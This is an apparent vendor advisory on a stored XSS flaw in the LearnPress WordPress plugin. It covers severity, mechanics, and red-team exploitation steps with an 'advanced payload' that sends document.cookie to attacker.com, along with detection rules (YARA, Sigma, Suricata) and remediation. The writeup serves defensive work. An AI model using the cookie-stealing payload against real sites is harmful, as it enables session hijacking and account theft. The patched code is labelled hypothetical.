CVE-2024-4277
Executive Summary
CVE-2024-4277 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin for WordPress. The flaw exists in the layout_html parameter across all versions up to and including 4.2.6.5. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, potentially leading to session hijacking, defacement, or data theft.
This vulnerability is specific to the WordPress ecosystem and affects the LearnPress plugin, a popular Learning Management System (LMS) solution. The CVSS score is 6.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is considered Medium due to the requirement for authenticated access and the limited impact on confidentiality and integrity. However, the ability to execute arbitrary scripts in the context of other users elevates the risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability is triggered through the layout_html parameter, which is used by the LearnPress plugin to render custom layouts. The plugin fails to properly sanitize user input and escape output when processing this parameter. An attacker with contributor-level access can inject malicious JavaScript or HTML into the parameter, which is then stored in the WordPress database. When an administrator or other user views the affected page, the injected script executes in their browser.
The attack flow:
- Attacker logs in with contributor-level credentials.
- Attacker crafts a payload containing malicious JavaScript (e.g.,
<script>alert('XSS')</script>). - Attacker submits the payload via the
layout_htmlparameter in a LearnPress course or lesson. - The payload is stored in the database without proper sanitization.
- When a victim (e.g., admin or student) accesses the page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (LearnPress <= 4.2.6.5):
// Example of vulnerable code in LearnPress
function render_layout($layout_html) {
echo $layout_html; // Direct output without escaping
}
Patched Code (Hypothetical fix):
// Example of patched code
function render_layout($layout_html) {
echo esc_html($layout_html); // Properly escape output
}
The vulnerable code directly echoes the $layout_html parameter without using WordPress's esc_html() or wp_kses_post() functions, allowing arbitrary HTML/JavaScript injection.
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker needs:
- A WordPress site with LearnPress plugin version <= 4.2.6.5.
- Contributor-level credentials.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to a LearnPress course or lesson editor.
- Inject the following payload into the
layout_htmlfield:<script>alert('XSS')</script> - Save the content.
- When an admin or student views the page, the script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
To detect exploitation attempts:
- Monitor for unusual
layout_htmlparameter submissions in WordPress logs. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Detection Commands:
# Search for suspicious layout_html entries in the database
wp db query "SELECT * FROM wp_postmeta WHERE meta_key LIKE '%layout_html%' AND meta_value LIKE '%<script%'"
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/learnpress/(check for modified files) - Database: Entries in
wp_postmetawithmeta_keycontaininglayout_htmlandmeta_valuecontaining<script>tags. - Network: Outbound connections to attacker-controlled domains from the WordPress server.
- Logs: WordPress debug logs showing unexpected HTML/JavaScript in
layout_htmlfields.
Detection Engineering
YARA Rule
rule CVE_2024_4277_LearnPress_XSS {
meta:
description = "Detects stored XSS payloads in LearnPress layout_html parameter"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-4277"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$layout_html = "layout_html"
condition:
$layout_html and $xss_payload
}
Sigma Rule
title: CVE-2024-4277 LearnPress Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via layout_html parameter in LearnPress
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "layout_html"
http.request.body|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in layout_html (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4277 LearnPress Stored XSS Attempt"; flow:to_server; content:"layout_html"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the LearnPress plugin until a patch is available.
- Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in thelayout_htmlparameter. - Code Fix: Apply output escaping using
esc_html()orwp_kses_post()to thelayout_htmlparameter. - User Education: Restrict contributor-level access to trusted users only.
- Monitoring: Enable WordPress debug logging and monitor for suspicious activity.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.